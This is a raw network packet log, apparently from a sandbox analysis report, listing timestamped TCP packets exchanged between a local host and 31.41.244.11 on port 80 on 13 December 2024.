Dec 13, 2024 01:51:21.017200947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.017203093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.017250061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.018182993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.018239975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.018305063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.018357038 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.019301891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.019391060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.019443989 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.019506931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.020374060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.020441055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.020453930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.020504951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.021970034 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.022028923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.022103071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.022155046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.022484064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.022541046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.022615910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.022667885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.023555994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.023606062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.023787022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.023838043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.024643898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.024693012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.024750948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.024802923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.025790930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.025841951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.025896072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.025959015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.026779890 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.026832104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.026885986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.026932001 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.027856112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.027905941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.027964115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.028031111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.028933048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.028987885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.029037952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.029088020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.030005932 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.030060053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.030107021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.030154943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.031095028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.031151056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.031198978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.031246901 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.032186985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.032238960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.032290936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.032337904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.033232927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.033296108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.033345938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.033392906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.034326077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.034389973 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.034437895 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.034483910 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.035409927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.035465956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.035569906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.035620928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.036487103 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.036537886 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.036592007 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.036638975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.037563086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.037616968 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.037663937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.037710905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.038625002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.038686037 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.038700104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.038729906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.039725065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.039776087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.039853096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.039917946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.040795088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.040858030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.040908098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.040961027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.041909933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.041966915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.042020082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.042072058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.042953014 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.043006897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.043061972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.043112040 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.044044018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.044099092 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.044150114 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.044199944 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.045075893 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.045129061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.181308031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.181360006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.181407928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.181408882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.181510925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.181548119 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.181571960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.181593895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.182507038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.182574987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.182580948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.182630062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.183526039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.183583021 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.183689117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.183741093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.184612989 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.184665918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.184690952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.184783936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.185692072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.185750961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.185801983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.185853004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.186749935 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.186801910 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.186825037 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.186877012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.187823057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.187875032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.187946081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.188004971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.188905001 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.188957930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.189023018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.189080000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.189994097 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.190046072 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.190116882 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.190187931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.191067934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.191124916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.191200972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.191309929 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.192305088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.192342043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.192362070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.192394018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.193257093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.193310976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.193357944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.193409920 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.194303036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.194365025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.194396019 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.194454908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.195399046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.195463896 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.195514917 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.195565939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.196465969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.196521044 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.196574926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.196625948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.197585106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.197676897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.197715998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.197746038 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.198606014 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.198661089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.198724031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.198774099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.199698925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.199749947 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.199816942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.199863911 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.200793028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.200850010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.200895071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.200944901 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.201848030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.201906919 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.201982021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.202035904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.202934027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.202987909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.203073978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.203123093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.204006910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.204061031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.204075098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.204127073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.205091000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.205143929 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.205216885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.205266953 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.206160069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.206218958 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.206269026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.206321955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.207228899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.207288027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.207367897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.207418919 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.208307981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.208364964 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.208530903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.208585978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.209409952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.209470034 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.209480047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.209530115 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.210489988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.210541010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.210628986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.210678101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.211570024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.211622000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.211694956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.211796999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.212647915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.212706089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.212760925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.212819099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.213704109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.213754892 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.213829041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.213879108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.214799881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.214848995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.214905977 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.214953899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.215879917 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.215936899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.215998888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.216046095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.216943026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.217003107 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.217058897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.217113018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.218033075 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.218087912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.218157053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.218209982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.219058990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.219110966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.219211102 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.219270945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.220175982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.220228910 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.220287085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.220335007 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.221246004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.221303940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.221368074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.221417904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.222332954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.222388983 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.222464085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.222511053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.223378897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.223431110 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.223475933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.223531961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.224488974 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.224545002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.224591017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.224637032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.225579977 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.225630999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.225661039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.225707054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.226610899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.226660013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.226716995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.226766109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.227694035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.227745056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.227778912 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.227823019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.228790045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.228843927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.228890896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.228945971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.229847908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.229897976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.229953051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.230000019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.230926991 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.230974913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.231020927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.231065989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.232017994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.232065916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.232119083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.232170105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.233074903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.233124018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.233205080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.233249903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.234172106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.234229088 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.234275103 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.234318972 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.235260963 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.235308886 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.235384941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.235435963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.236355066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.236402988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.236457109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.236510992 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.237330914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.237380028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.373301983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.373404026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.373501062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.373501062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.373904943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.373966932 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.373977900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.374022961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.374624968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.374682903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.374743938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.374826908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.375714064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.375771999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.375843048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.375895023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.376975060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.377010107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.377028942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.377063036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.377851009 CET	80	49787	31.41.244.11	192.168.2.4
